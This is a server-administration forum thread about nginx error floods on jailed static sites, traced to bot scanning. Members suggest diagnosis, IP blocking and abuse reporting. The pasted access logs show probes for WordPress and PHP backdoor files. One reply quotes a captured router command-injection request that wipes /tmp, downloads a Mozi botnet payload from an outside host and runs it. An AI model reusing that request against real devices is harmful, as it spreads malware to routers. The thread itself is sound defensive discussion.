nginx error flood /var/log

Hello
I have installed and online several jails, very basic, only static html, no php or any other backend software, they have worked for many months without problems, but I noticed this general error because just two or three days ago I started working to install php-fpm for a new site in its own jail but is not working, so check the error logs and find this issue.
Code:
root@haxomatico:~ # tail -f /var/log/nginx/error.log
2021/07/27 01:02:12 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:15 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:17 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:19 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:21 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:23 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:25 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:27 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:29 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:31 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:33 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:35 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:37 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:39 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:41 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:43 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:45 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:47 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:49 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
2021/07/27 01:02:51 [error] 12126#100495: accept4() failed (53: Software caused connection abort)
^Z
Suspended
Here is a link that gives an explanation:
Nginx official site
although this official publication very calmly gives a short and quick explanation saying that it is not something critical .... I am concerned that my (several) webservers ALL generate this error perpetually.

This shouldn't be happening.
Has this happened to someone else?
How did you solve it?
And if not, what should I do to live with it and not cause problems in my machine?
any suggestion or advice will be very useful.

thanks
 
If you are be able to open your site with a browser and errors poping up are not very important, you can disable nginx logs by:
Code:
open -> /etc/nginx/nginx.conf
find line with -> error_log    /var/log/nginx/error.log;
change it to -> error_log   /dev/null   crit;
alternative option -> error_log    off;

Other option: Write a script that removes all the lines that contains:
Code:
accept4() failed (53: Software caused connection abort)


Found from there
 
Still a good idea to eliminate the cause instead of trying to cover up the symptoms.

Haxo try to find out why those connections are terminated. Maybe your server is getting hit by some bots?
 
Thanks SirDice
I also think that warnings help to improve things, although it is not always possible to eliminate them completely, but for those cases it is
Code:
/dev/null
(thanks fbsd_)

surely there is a wide range of things that cause this issue; But, improve safety helps a lot, because it is a fact that bad boys have their toys running everywhere. Thank you very much for mentioning what I suspected. I may need to implement a method to limit bots. A recipe that I find sexy, simple and that my logic tells me is effective is that of the Calomel boys:
Web server abuse detection
Thank you
 
Interesting you have these errors in a well defined rhythm, every 2 seconds.
Try to isolate the nginx server and test if the error stops. If it's a production server you can take snapshots and reproduce the entire thing alone. Start by nginx isolated. Then start putting your services up one by one (pages, CM's, apps). If you cant spot the problem then what SirDice said. Or you said you have a bunch of pure HTML pages. If these are pages with high traffic/visitors so the cause can be just what the https://nginx.org/en/docs/faq/accept_failed.html said, visitors not loading page entirely and going somewhere.
 
interesting and worrying ... from the 19th of this month these errors began.
According to the records of my host, the usage graphs show a sudden explosion of inbound traffic (about 700 megabytes on the 19th) and little by little, until today, the 27th already goes just over a gigabyte (1.07 Gb). That is worrying because it is inbound traffic in VERY LITTLE VISITED pages ... only outbound traffic is 0.33 Gb this month

Regarding the incoming speeds yesterday, there was a peak of 1.3Mbps and today a few hours ago the peak was just over 2 Mbps. Of all this we are talking only about inbound traffic. (!!)

CPU usage on the 19th had a peak of 40% and on the 20th it was 35%
On the 21st, 22nd and 23rd on average 15% and from 24 to today more or less it has remained at 10% (...)
six jails with web server and domain name show the same behavior. even now with a dummy index page.
I found in my log hub THIS(snipets):

Code:
2021-07-27T23: 59: 19 + 00: 00 haxomatico nginx: 192.168.0.254 - - [Jul / 27/2021: 23: 59: 15 +0000] "GET / HTTP / 1.1" 200 37888 "-" "Expanse , a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers & # 39; presences on the Internet. If you would like to be excluded from our scans, please send IP addresses / domains to: scaninfo @ paloaltonetworks .com"

2021-07-20T03: 41: 57 + 00: 00 haxomatico nginx: 192.168.0.254 - - [20 / Jul / 2021: 03: 41: 52 +0000] "GET / HTTP / 1.1" 200 37888 "-" "Mozilla /5.0 (compatible; MJ12bot / v1.4.8; http://mj12bot.com/) "

2021-07-20T11: 14: 35 + 00: 00 hornympressions nginx: 192.168.0.254 - - [20 / Jul / 2021: 11: 14: 33 +0000] "GET / HTTP / 1.1" 200 599 "-" "Mozilla /5.0 (compatible; AhrefsBot / 7.0; + http: //ahrefs.com/robot/) "

2021-07-26T18: 39: 59 + 00: 00 vivo nginx: 192.168.0.254 - - [08 / Jan / 2021: 06: 54: 50 +0000] "GET / HTTP / 1.1" 200 601 "-" "Mozilla /5.0 (compatible; Nimbostratus-Bot / v1.3.2; http://cloudsystemnetworks.com) "

2021-07-27T19: 27: 34 + 00: 00 haxomatico nginx: 192.168.0.254 - - [Jul / 27/2021: 19: 27: 28 +0000] "GET / HTTP / 1.1" 200 37888 "-" "Mozilla /5.0 (compatible; BLEXBot / 1.0; + http: //webmeup-crawler.com/) "

2021-07-27T17: 19: 58 + 00: 00 alitasmarcadiablo nginx: 192.168.0.254 - - [27 / Jul / 2021: 17: 19: 51 +0000] "GET / wp-includes HTTP / 1.1" 404 555 "www .google.com "" Mozlila / 5.0 (Linux; Android 7.0; SM-G892A Bulid / NRD90M; wv) AppleWebKit / 537.36 (KHTML, like Gecko) Version / 4.0 Chrome / 60.0.3112.107 Moblie Safari / 537.36 "

(192.168.0.254 this IP is from my proxy in front of my webservers)

I think SirDice was very right ... I'm under attack.

The siege is such that they are looking for WordPress pages and directories when I don't have that CMS installed ...

something I should mention is that 7 months ago one of the domains (superpogotrainer dot com) had WP and many of the pages that the bots look for are those that were published a year ago and obviously they get a 404 error. but no more WordPress pages, articles, posts or categories online, all these such is broken and unistalled, I don't even have MySQL right now.

what should I do?
Or what should I study, read or learn, to stop this and avoid this traffic abuse and hacking attempt?
or am I already been hacked?
 
Some of those might be legitimate bots? i.e. crawlers as opposed to attack bots.

And if you run a server on the internet there are endless probes for WP pages (the nasty bots) - welcome to the internet.

Not saying you aren't under attack or you can ignore these - just that it can be hard to figure out what's going on from the logs - so don't jump to conclusions.
 
I'm not panicking yet, and I hope to solve this and learn from it, I think the first thing I need to know is to list the facts and not go directly to the conclusions, jump to conclusions is certainly good advice and I thank you @ richardtoohey2

The access logs are quite normal, bots of all kinds, good and bad, I understand that it is the usual thing on the internet, but when the inbound traffic is one Gb in just 8 days and I do not have a justified organic traffic that consumes my resources this way ... if I have to pay attention and stop this because it is not about real visits from web surfers, clients, prospects etc.

The graphs of use and consumption are quite clear in the face of an excessive increase in activity, when this particular machine I only use it for tests, learning, trys and development and then lead to production enviroment in another different physical machine only what I see results secure, functional, flawless and easy to use by my customers.

I have little more than 2 years managing my machines in an unmanaged VPS host (my 10 years prior to this using and reselling shared hosting do not count for anything). Although I know quite little about sysadmin, that's what I do in my work and I try to learn more and apply what I think is useful, secure and functional to do my job without being contaminated by the madness of the internet.

Let's list the facts:
1.-this started from the 19th day (never before detected THIS error in the logs of my webservers).

This is when it all started clearly:

Code:
2021/07/19 02:48:15 [error] 60907 # 100477: * 4804 open () "/var/www/robots.txt" failed (2: No such file or directory), client: 192.168.0.254, server : alitasmarcadiablo.com, request: "GET /robots.txt HTTP / 1.1", host: "www.alitasmar
cadiablo.com "
2021/07/19 02:48:16 [error] 60907 # 100477: * 4805 open () "/var/www/robots.txt" failed (2: No such file or directory), client: 192.168.0.254, server : alitasmarcadiablo.com, request: "GET /robots.txt HTTP / 1.1", host: "www.alitasmarcadiablo.com"
2021/07/19 04:59:53 [error] 90922 # 100484: accept4 () failed (53: Software caused connection abort)
2021/07/19 04:59:59 [error] 90922 # 100484: accept4 () failed (53: Software caused connection abort)
2021/07/19 05:00:01 [error] 90922 # 100484: accept4 () failed (53: Software caused connection abort)
2021/07/19 05:00:03 [error] 90922 # 100484: accept4 () failed (53: Software caused connection abort)
2021/07/19 05:00:05 [error] 90922 # 100484: accept4 () failed (53: Software caused connection abort)

2.-The access logs show a huge amount of requests to pages related to WP, (trying to determine what software I have installed), although this is normal, they had not been triggered so much before, even looking for pages that used WP and were online a year or more ago and they no longer exist except in comments, forums, social networks.

Code:
192.168.0.254 - - [19/Jul/2021:03:22:03 +0000] "GET /.env HTTP/1.1" 404 555 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
192.168.0.254 - - [19/Jul/2021:03:58:57 +0000] "GET /noticias/do-team-go-rocket-grunts-spawn-with-pokemon-relative-to-the-weather-ex-weather-sunny-rocket-grunts-will-have-fire-grass-ground-pokemons-etc/ HTTP/1.1" 404 153 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
192.168.0.254 - - [19/Jul/2021:04:31:57 +0000] "GET / HTTP/1.1" 200 591 "-" "Mozilla/5.0 (X11; FreeBSD amd64; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:04:31:58 +0000] "GET /favicon.ico HTTP/1.1" 404 555 "http://superpogotrainer.com/" "Mozilla/5.0 (X11; FreeBSD amd64; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:06:55:00 +0000] "GET /noticias/neato-do-the-throwback-challenges-have-a-higher-shiny-chance/ HTTP/1.1" 404 153 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
192.168.0.254 - - [19/Jul/2021:07:12:13 +0000] "GET /robots.txt HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:09:49 +0000] "GET /style.php HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:09:57 +0000] "GET /moduless.php HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:10:10 +0000] "GET /wp-content/plugins/t_file_wp/t_file_wp.php?test=hello HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:10:20 +0000] "GET /admin.php HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:10:37 +0000] "GET /index.php?3x=3x HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:10:47 +0000] "GET /boom.php?x HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:10:52 +0000] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:11:09 +0000] "GET /wp-content/db_cache.php HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:11:23 +0000] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
192.168.0.254 - - [19/Jul/2021:08:11:35 +0000] "GET /xmlrp.php?url=https://rentry.co/yu8xc/raw HTTP/1.1" 404 555 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"

However, user agent strings are easy to fake, so not every request using these user agent names inside of their user agent string may be coming from a real legitimate crawler.

Frankly I don't think that a legitimate bot is repeatedly looking for pages that are a year or more removed from the internet and only detects in document-root a static site with a single test page and gets all the time 404 errors caused by pages that just aren't there .
Why so much retry to access my IP?

3.-the usage and consumption statistics (cup cycles, bandwidth, disk reading and writing) suddenly rose and match with the dates of the previous facts.

4.-although I do not know what precise tools are being used in this incident, I see that not everything is emulating web access, it is possible that scans and other automated invasive forms are being reflected in the inbound traffic of my network.

This snipet records two types of activities:
* web accesses that emulate some user agent and legitimate visitors and,
* some other type of scan that is not considered 'web type' and is not registered in the access logs but does cause errors on the server and they are picked up by .. .. /nginx/error.log

Code:
2021/07/28 18:17:50 [error] 73892 # 100571: accept4 () failed (53: Software caused connection abort)
2021/07/28 18:17:52 [error] 73892 # 100571: accept4 () failed (53: Software caused connection abort)
2021/07/28 18:17:54 [error] 73892 # 100571: accept4 () failed (53: Software caused connection abort)
2021/07/28 18:17:55 [error] 73892 # 100571: * 12 open () "/var/www/wp-login.php" failed (2: No such file or directory), client: 192.168.0.254 , server: jailastic.com, request: "GET /wp-login.php HTTP / 1.1", host: "jailastic.com"
2021/07/28 18:17:55 [error] 73892 # 100571: * 13 open () "/var/www/wp-login.php" failed (2: No such file or directory), client: 192.168.0.254 , server: jailastic.com, request: "GET /wp-login.php HTTP / 1.1", host: "jailastic.com"
2021/07/28 18:17:56 [error] 73892 # 100571: accept4 () failed (53: Software caused connection abort)
2021/07/28 18:17:58 [error] 73892 # 100571: accept4 () failed (53: Software caused connection abort)
2021/07/28 18:18:00 [error] 73892 # 100571: accept4 () failed (53: Software caused connection abort)
(if I am wrong in my point of view please let me know)

May be this is not a great topic for the forum, but I needed to comment on it and receive some opinions or advice from the members, the reactions and opinions posted are brief but of great help to define what continues to be done to solve this little problem that perhaps everyone suffers every day those who manage internet servers,
Thank you.
 
You know your servers and traffic best, definitely. So you'll know best if anything is out of the ordinary.

But you seem to have a number of issues here - and not sure what you want to do about them?

You could block some of the traffic with a firewall. Your ISP/network provider might be able to help if you want to stop it before it gets to your machines.

I don't know about the nginx errors - as SirDice said, you don't want to ignore them until you know they are benign. Looks like they could be related to your bogus traffic: http://nginx.org/en/docs/faq/accept_failed.html (the same link in your first post.)

If you still have a lot of stale links to your old WP sites, then there could be a lot of good & bad bots trying to hit your server looking for those pages - sounds like there's a degree of that going on.

Can you see how many unique IPs are connecting - your proxy is replacing the remote IPs - might give you an idea if just a few IPs causing all the trouble and then you can block them - that will prove it they are also causing the nginx error messages.
 
The first thing I would do is look up the IP addresses that are hitting my servers to see where they are geographically, and to see if they're part of a known botnet. You mention you have a proxy in front of this Nginx server. Does this proxy set an X-Forwarded-For header?
 
The access logs show a huge amount of requests to pages related to WP, (trying to determine what software I have installed), although this is normal, they had not been triggered so much before, even looking for pages that used WP and were online a year or more ago and they no longer exist except in comments, forums, social networks.
Those certainly look like malware bots. You got scanned once before when you still had WP running, and your IP address is now passed around as a "potential" victim.

You mention you have a proxy in front of this Nginx server. Does this proxy set an X-Forwarded-For header?
Yes, definitely set this up if you have a proxy in front of your webserver. Use the RealIP module in nginx to get your nginx to log the actual address of the connection instead of the proxy's addres. The module is set to ON by default so you should be able to use it with the packages.
 
These bots target PHP and Wordpress files, because of known vulnerabilities in that software in the past. I see similar things in my http logs, probably a result of using PHP in the past. My old PHP/Wp file names can still be found on some search engines. You can indeed try to block a number of these bots using the real IP's, but there may be very many around. Another option is using robots.txt to prevent these files from appearing on search engines, but that will work only in the long run. Meanwhile, don't be surprised if you see something like this:

49.70.3.155 - - [29/Jul/2021:06:55:12 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://49.70.3.155:60861/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"

Netgear, setup.cgi and wget are not installed on a standard FBSD, they target Linux here. Stuff like this will show up every so often.
 
You can indeed try to block a number of these bots using the real IP's, but there may be very many around.
I regularly grep through my logs, notorious source IP addresses are reported at their provider. That usually helps. Most of the time these are infected servers that became part of a botnet. Reporting them at their ISP helps clean them up.

How do you report these? Lookup the IP address with whois(1), look for a spam/abuse contact email address. Sometimes you have to look it up on the provider's homepage or report it there, the whois(1) output will always mention who owns that IP range. But if you have an email address just write to them. Don't put any analysis in your email, just state you have found some abusers and paste the bits from your logs in the email. Also mention in what timezone your logs are. Don't expect a reply from any of those abuse contact addresses.

Netgear, setup.cgi and wget are not installed on a standard FBSD, they target Linux here.
More specifically, these target a certain brand/type of modem/router. Most home users rarely, if ever, update the firmware on their xDSL or cable modem/routers.
 
SirDice said:
How do you report these?
I do report the noisiest ones, even got replies sometimes. From .cn in html containing Chinese characters for instance... :)
Years ago I used PHP and by far most bots whould target just that. Since I got rid of it and excluded .php in robots.txt I see those numbers go down. If you really need to run .php, consider to run those scripts without .php exension using shebang instead. That way the .php won't show up on search engines.
 
It was very helpful to determine the origin (thanks Jose and SirDice) of these bots, they are from far away countries that don't even speak English or Spanish: China, Thailand, Philippines, India, Pakistan, Brazil, and France. I will continue working to filter the web access as much as possible and ban the IPs that generate errors or make several retries, and I will do the same with ssh.

Experience definitely comes when you need it most
(by researching and putting into operation what is required).
A day that you do not learn anything is a wasted day.
Thank you all, the experience of others is gold!
I will stay tuned in case someone else has something else to share, have a good weekend.
 
Back
Top